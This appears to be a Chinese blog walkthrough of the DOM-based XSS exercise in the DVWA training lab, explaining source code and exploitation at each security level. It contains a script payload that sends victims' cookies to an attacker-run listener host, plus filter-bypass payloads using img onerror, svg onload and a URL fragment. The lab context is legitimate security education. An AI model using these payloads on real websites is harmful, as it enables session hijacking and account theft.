DVWA系列之XSS(跨站脚本攻击)——DOM型XSS源码分析及漏洞利用

DOM型XSS

DVWA系列之XSS(跨站脚本攻击)——DOM型XSS源码分析及漏洞利用

Document Object Model 文本对象模型xss、可能是存储型也可能是反射型、只决定于输出地方

DVWA系列之XSS(跨站脚本攻击)——DOM型XSS源码分析及漏洞利用

反射型XSS中输入:

<script>var img=document.createElement('img');img.src='http://192.168.232.130:88/log?'+escape(document.cookie);</script>

kali监听:

DVWA系列之XSS(跨站脚本攻击)——DOM型XSS源码分析及漏洞利用

存储型XSS中输入:

<script>var img=document.createElement('img');img.src='http://192.168.232.130:88/log?'+escape(document.cookie);</script>

kali监听:

DVWA系列之XSS(跨站脚本攻击)——DOM型XSS源码分析及漏洞利用

目录

low级别源码分析

medium级别源码分析

high级别源码分析

impossible级别源码分析


low级别源码分析

DVWA系列之XSS(跨站脚本攻击)——DOM型XSS源码分析及漏洞利用

没有任何防护

漏洞利用

修改default参数,成功弹窗:

DVWA系列之XSS(跨站脚本攻击)——DOM型XSS源码分析及漏洞利用


medium级别源码分析

DVWA系列之XSS(跨站脚本攻击)——DOM型XSS源码分析及漏洞利用

源码中有array_key_exists()函数,检查某个数组中是否存在指定的键名default,如果键名存在则返回 true,

如果键名不存在则返回 false

DVWA系列之XSS(跨站脚本攻击)——DOM型XSS源码分析及漏洞利用

stripos()函数,查找字符串在另一字符串中第一次出现的位置(不区分大小写),即在参数default中查找<script

DVWA系列之XSS(跨站脚本攻击)——DOM型XSS源码分析及漏洞利用

漏洞利用

过滤script,可以使用img标签、svg标签,先用<img src=1 οnerrοr=alert('xss')>,没有弹出任何窗口 ,f12查看代码,

将xss语句插入value值中

DVWA系列之XSS(跨站脚本攻击)——DOM型XSS源码分析及漏洞利用

修改default参数:default=</option></select><img src='' οnerrοr=alert('xss')>  

DVWA系列之XSS(跨站脚本攻击)——DOM型XSS源码分析及漏洞利用

DVWA系列之XSS(跨站脚本攻击)——DOM型XSS源码分析及漏洞利用

获取cookie修改如下:default=</option></select><svg/οnlοad=alert(document.cookie)> 

DVWA系列之XSS(跨站脚本攻击)——DOM型XSS源码分析及漏洞利用


high级别源码分析

DVWA系列之XSS(跨站脚本攻击)——DOM型XSS源码分析及漏洞利用

该源码使用了switch()函数,在这里相当于白名单,只允许传 default值为English、French、German、Spanish 其中一个。

漏洞利用

源码中发现#号之后的内容,不会被提交到服务器,可以直接与浏览器进行交互

修改:default=English #<script>alert('xss')</script> 

DVWA系列之XSS(跨站脚本攻击)——DOM型XSS源码分析及漏洞利用


impossible级别源码分析

DVWA系列之XSS(跨站脚本攻击)——DOM型XSS源码分析及漏洞利用

不必做任何事,在客户端保护处理